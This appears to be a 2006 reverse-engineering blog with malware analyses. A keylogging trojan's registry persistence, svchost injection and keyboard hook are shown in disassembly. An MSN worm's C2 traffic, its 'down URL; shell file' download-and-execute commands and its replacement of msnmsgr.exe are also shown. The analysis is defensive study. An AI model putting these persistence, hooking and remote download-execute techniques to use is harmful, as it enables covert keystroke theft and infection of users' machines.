October 2006


Great news!

I did complete all REA I challenges having lot of fun and learning many new things, I’m sure you’ll enjoy REA II for sure.

The Reverse Code Engineering Academy II is located at the Certification-Labs at http://certification.iitac.org/ (Section 06 – Challenges)

REA 2 and additional Black Hat oriented stuff is from now on provided by IITAC – International Institute for Training, Assessment, and Certification, available at http://www.iitac.org

Good luck!

Hahaha, look at the picture below. It comes from one of the last Avira update, really nice.

Avira spot, Barbie & Ken

This time I’m going to tell you something about this trojan, nothing special but it offers the possibility to show you some notes about how keyboard hook works. I got the file from http://www.offensivecomputing.net/ , it has an interesting collection of dangerous files. I won’t analyze everything but only the most significant part.

The file itself is not totally interesting, it creates some keys inside the windows registry and nothing else; the fun begins when it extracts two files that are hidden inside the resource section. The sections are named RT_DLL and RT_KEYLOGGER. Almost every malicious program uses the same way to extract the files; the functions used to extract the first resource are:

1. HRSRC FindResource(HMODULE hModule, LPCTSTR lpName, LPCTSTR lpType);
004021B8 push dword ptr [ebp+10h] ; lpType: the resource type: RT_DLL

004021BE push ecx ; lpName: name of the resource: 0×82 (130 in decimal)
004021BF push eax ; hModule: handle to the module of the file that contains the resource
004021C0 call FindResourceA

The name says all, the function finds the resource pointed by the two parameters.

2. HGLOBAL LoadResource(HMODULE hModule, HRSRC hResInfo);
00402251 push dword ptr [ebp+0Ch] ; hResInfo: pointer to the value returned by FindResource function
00402254 mov eax, [eax+0Ch]
00402257 push eax ; hModule: same as before
00402258 call LoadResource

The function loads the resource into global memory. When LoadResource has been executed EAX registry points to the first byte of the hidden file. At this point, when the resource is loaded, the trojan can create the new file.
The trojan creates two files:
- C:\WINDOWS\System32\ipv6monl.dll (I won’t talk about it)
- C:\WINDOWS\System32\msn.exe
The dll is runned everytime the system starts because the trojan adds the key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73364D99-1240-4dff-B11A-67E448373048}\InprocServer32 containing the predefined value C:\WINDOWS\System32\ipv6monl.dll.
msn.exe is runned by the trojan using ShellExecute function.

msn.exe
The file has an hidden file inside, the new file is created in the way I showed you some lines above; the file is saved as C:\WINDOWS\SYSTEM32\hook.dll and we’ll see later what it does, back to msn.exe now. It creates a new key in the registry, just to be sure to run the file when the system starts and then inject itself inside a new svchost.exe instance. When the injection is done the original msn.exe file ends while the new msn.exe (the one inside svchost.exe) starts. Obviously the new msn.exe starts from a different entry point otherwise it will inject itself inside new svchost.exe process again and it doesn’t have much sense…
The second part of msn contains the core of the trojan because its where the logger resides. msn.exe loads hook.dll library and the hook starts.
Let’s see the general way used to set/unset a hook:
1. HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD wdThreadId);
10001072 push 0 ; dwThreadId: 0 if the hook works on every running thread

10001079 push hmod ; hmod: handle to dll containing the hook procedure

10001088 push 100010BB ; lpfn: the address of the hook procedure
1000108D push WH_GETMESSAGE ; idHook: type of hook
1000108F call SetWindowsHookExA

10001097 mov ds:hhk, eax

You can hook almost everything but in this specific case the program wants to monitor every messages posted and it sets a WH_GETMESSAGE hook. The function returns a handle to the hook procedure. The procedure is called every time the installed hook is notified; inside the procedure you can do whetever you want but at the end of the procedure it’s recommended to call the function CallNextHook because otherwise other applications won’t receive the hook notification.

2. BOOL UnHookWindowsHookEx(HHOK hhk);
100010A5 push ds:hhk ; hhk: handle of the installed hook
100010AB call UnhookWindowsHookEx

To release the hook is pretty simple.

Once the hook is setted the hook procedure sends the pressed character back to msn.exe using PostMessageA function:
1000110B call GetForegroundWindow ; Returns a handle to the foreground window
10001111 push eax ; lParam: handle obtained by GetForegroundWindow
10001112 push dword ptr [esi+8] ; wParam: key pressed
10001115 push ds:Msg ; Msg: 401
1000111B push ds:hWnd ; hWnd: MYKEYLOGGER
10001121 call PostMessageA

hook.dll is all here, it doesn’t do anything else; everything is now passed to msn.exe again.
The message is received by the window proc:

403AFD cmp ebp, WM_DRAWCLIPBOARD
403B03 jz _403EB9__TAKE_DATA_FROM_CLIPBOARD
403B09 cmp ebp, 401h ; Got something from hook.dll?
403B0F jnz loc_403FAE
403B15 mov edi, [esp+140h+wParam] ; EDI = keycode of the pressed key
403B1C cmp edi, 8
403B1F jz _403EA7__BACKSPACE_PRESSED
403B25 cmp edi, 0Dh
403B28 jz _403E95__CARRIAGERETURN_PRESSED
403B2E cmp edi, 1Bh
403B31 jz _403E83__ESCAPE_PRESSED

What happens when a 0×401 message has been received? Well, if the hooked key is a backspace, a carriage_return or an escape key the program simply adds the informations inside the file used to store every key. It logs “<BkSp>” for backspace, “<Esc>” for escape and “\n” for carriage return. The log file is called form.txt and it’s stored inside C.\windows\system32. If the key is not one of the three special keys the program stores the character; here is how the log looks like:

——————————————— Thu Sep 28 12:32:52 2006

[KEYLOGGER]:
<BkSp><Esc>pagina iniziale di mozilla firefox – mozilla firefox: bankem

——————————————— Thu Sep 28 12:32:56 2006

[KEYLOGGER]: virus update of signature definition file – avira antivir history – mozilla firefox: bankem

——————————————— Thu Sep 28 13:02:14 2006

[KEYLOGGER]: avira antivirus solution – bankem – search results – mozilla firefox: bankem

——————————————— Thu Sep 28 14:53:48 2006

[KEYLOGGER]: …

It’s pretty easy to understand where this file will be sended, you have only to look at the end of msn.exe to find the answer.

Well, programs like this one are able to log all your moves and the main problem is related with the fact that once installed it’s not so easy to understand that someone will read all your moves. In this case you need a specific program, something able to find out a global hook…

Well, it’s all.

This is a little application I wrote some times ago and it might come in handy when you need to convert a decorated c++ name into the undecorated version of the same name. You can convert a single name or an entire .def file, I sometimes convert mfc42.def when my preferred disassembler/debugger doesn’t recognise one or more names.

MFC Decorated To Undecorated
Download

The worm I’m going to describe is, today, recognized by almost all the antiviruses around and it’s detected under various names (depending on the antivirus of course) such as Licat, IMWorm or MSNMaker. It doesn’t use any particular tricks, it uses standard programming code but it does the job because it relies on people’s distractions. Let’s see what it does.

The worm sends the link of the file to download (the worm) using msn, the message is: “lol check http://www.ugl[REMOVED]hotos.net/photo223.PIF“; everything starts from here.

The file is an upx packed executable, after unpacking the file you’ll have everything you need in front of your eyes. Mainly the worm is composed by two parts, in the first part it runs the necessary files and in the last part it infects the computer.

The worm comunicates with a remote server, the comunication is done using Windows Sockets. Here are the functions called by the client (the worm in this case):

1. int WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);
0040156F push eax ; lpWSAData: pointer to the WSADATA structure, will receive details about Windows Sockets
00401570 push 2 ; wVersionRequested: support version 2.0
00401572 call ds:WSAStartup

WSAStartup is necessary when you want to use sockets because without a call to this function you won’t be able to do nothing, the function initiates the session.

2. SOCKET WSAAPI socket(int af, int type, int protocol);
004023FE push IPPROTO_TCP ; protocol: IPPROTO_TCP, the protocol to be used

00402402 push SOCK_STREAM ; type: specification for the socket.
00402404 push AF_INET ; af: address family. AF_INET defines IPv4

00402433 call ds:socket

socket creates a socket. The worm will use TCP protocol and IPv4 addresses, like 123.45.67.89

3. int connect(SOCKET s, const struct sockaddr* name, int namelen);
00402462 push 10h ; namelen: length in byte of the sockaddr structure
00402464 push eax ; name: pointer to a sockaddr structure
00402465 push esi ; s: socket descriptor, returned by socket function
00402466 call ds:connect

connect estabilishes the connection with the specified host. Hm, how do I know where the server is? From the above snippet you can’t because everything is inside the sockaddr structure which is filled elsewhere. The sockaddr structure for ipv4 contains few informations and, in this case, the most important are the port (which is setted to 80 (http)) and the address of the server. The server is at go.links[REMOVED]all.biz

4. int send(SOCKET s, const char* buf, int len, int flags);
00402400 xor ebx, ebx

0040247C push ebx ; flags: 0

00402484 push eax ; len: length in bytes of buf

0040248B push eax ; buf: data to send
0040248C push esi ; s: socket descriptor
0040248D call ds:send

send sends the request to the server, in this case the request is:

GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept-Language: nl
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; acc=cashbeast; iebar; acc=; acc=none; (none))
Host: go.links[REMOVED]all.biz
Connection: Keep-Alive

At this point I don’t know what the server is doing and I can’t even know what it will do, I can only wait for a reply.

5. int recv(SOCKET s, char* buf, int len, int flags);
004024AC push ebx ; flags
004024AD push edi ; len: length in bytes of buf
004024AE push [ebp+arg_0] ; buf: buffer for incoming data
004024B1 push esi ; s: socket descriptor
004024B2 call ds:recv

recv is used to receive data from the server. The server’s reply:

HTTP/1.1 200 OK
Date: Thu, 21 Sep 2006 11:53:58 GMT
Server: Apache/2.0.49 (Unix) PHP/4.3.6
X-Powered-By: PHP/4.3.6
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1
286
<!–urlfwd2-e–><!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Frameset//EN”.”http://www.w3.org/TR/html4/frameset.dtd”>
<html>
<head>
<title></title> <META NAME=”Keywords” CONTENT=”go::69.[REMOVED].140::”>
<META NAME=”Description” CONTENT=”">
</head>
<frameset frameborder=”0″ framespacing=”0″ border=”0″ rows=”100%,*”>
<frame name=”TOPFRAME” src=”http://…html” noresize>
<noframes>
<body>
<h1>Welcome to GO.LINKS[REMOVED]ALL.BIZ</h1>
<br>go::69.[REMOVED].140::<br>
<br>Click here to enter <a href=”http://…html”>http://…html</a>
<hr>
</body>
</noframes>
</frameset>
</html>

What a big reply from the server!

6. int closesocket(SOCKET s);
004024B8 push esi ; s: socket descriptor
004024B9 call ds:closesocket

closesocket closes the socket, nothing more.

7. int WSACleanup(void);
:0040194E call ds:WSACleanup

If WSAStartup must be the first function to call, WSACleanup must be the last function.

This is the client side of a client-server comunication via windows sockets. I won’t add anything else because it’s not a net tutorial but using the steps above you can write your own client, net programming is not so hard indeed!

Ok, the worm gets the information from the server but what would happen if something goes wrong? No problem, the worm tries to connect to another server: www.chea[REMOVED]ags.info
The initial comunication is necessary because the worm needs to acquire informations to go on; for example, to download the files it needs an url. The url is inside the message sended by the server, it’s somewhere in the message; to extract it the worm parses all the message, the address is surrounded by “::”. The worm connects to this address and another client-server
comunication happens, this time the server sends out the message:

down http://www.ugl[REMOVED]hotos.net/sprT.exe sprT.exe;shell sprT.exe;
down http://www.ugl[REMOVED]hotos.net/alfa.exe alfa.exe;shell alfa.exe;
down http://www.ugl[REMOVED]hotos.net/Xinstall.exe Xinstall.exe;shell Xinstall.exe;

I’m not totally sure but the first file is not always the same. I tried to run the worm for some times and I also got: sprK.exe, sprY.exe. I can’t check but maybe the fourth letter (the one in uppercase) is a random letter, who knows…
The download/execution of the file is done by the code snippet below:

004016FC cmp byte ptr [eax+esi], ‘d’ ; Is the word ‘down’ inside the received message?
00401700 lea ecx, [eax+esi]
00401703 jnz loc_4017E5
00401709 cmp byte ptr [ecx+1], ‘o’
0040170D jnz loc_4017E5
00401713 cmp byte ptr [ecx+2], ‘w’
00401717 jnz loc_4017E5
0040171D cmp byte ptr [ecx+3], ‘n’
00401721 jnz loc_4017E5
00401727 cmp byte ptr [ecx+4], ‘ ‘
0040172B jnz loc_4017E5
… ; Yes, it’s inside. I can download the file
004017D1 push ebx
004017D2 push ebx
004017D3 push dword_40B42C ; The name of the file to create taken from the downloaded data: sprT.exe
004017D9 push edi ; url: http://www.ugl[REMOVED]hotos.net/sprT.exe
004017DA push ebx
004017DB call URLDownloadToFileA
… ; The file is on the computer…
004017E5 028 cmp byte ptr [eax+esi], ’s’ ; Is the word ’shell ‘ after the url?
004017E9 028 lea ecx, [eax+esi]
004017EC 028 jnz short loc_40186D
004017EE 028 cmp byte ptr [ecx+1], ‘h’
004017F2 028 jnz short loc_40186D
004017F4 028 cmp byte ptr [ecx+2], ‘e’
004017F8 028 jnz short loc_40186D
004017FA 028 cmp byte ptr [ecx+3], ‘l’
004017FE 028 jnz short loc_40186D
00401800 028 cmp byte ptr [ecx+4], ‘l’
00401804 028 jnz short loc_40186D
00401806 028 cmp byte ptr [ecx+5], ‘ ‘
0040180A 028 jnz short loc_40186D
… ; Yes, it’s after
0040184F 028 push 1
00401851 02C push ebx
00401852 030 push ebx
00401853 034 push dword_40B42C ; Specify the file to open
00401859 038 push offset Operation ; “open”: open the exe file means…
0040185E 03C push ebx
0040185F 040 call ds:ShellExecuteA ; run it!

Another parsing of the received message, this time the word ‘down’ preceeds the url and the word ’shell ‘ preceeds the name of the file to run. The code above is repeated 3 times, one for each downloaded file. I won’t add the description of the files here; just to let you known, they are used to spread the worm on msn, add spyware/adware…

At this point the machine is already infected and the worms performs the last operation replacing two msn files:
1. it copies msnmsgr.exe in msgs.exe
2. it copies the worm in msnmsgr.exe
3. it runs msnmsgr.exe which is now the worm
How can the worm overwrite msnmsgr.exe if it’s running? Well, the client is always in running mode and you can see it from the systray. To make the copy the worm firstly finds the client, terminates the process and then performs the copy. To do such operations it uses the chain of functions: FindWindowA, GetWindowThreadProcessId, OpenProcess (with dwDesiredAccess equal to “TERMINATE”). Yes, a chain because the second needs the first and the third needs the second.
Well, it’s all…

Lesson of the day: pay attention when you click on a link posted inside your msn client!!!

All the (unwanted) things happened to my computer: worm/trojan/malware but also reverse engeneering, programming stuff and things like that; after all, it’s a blog so I can post something else too!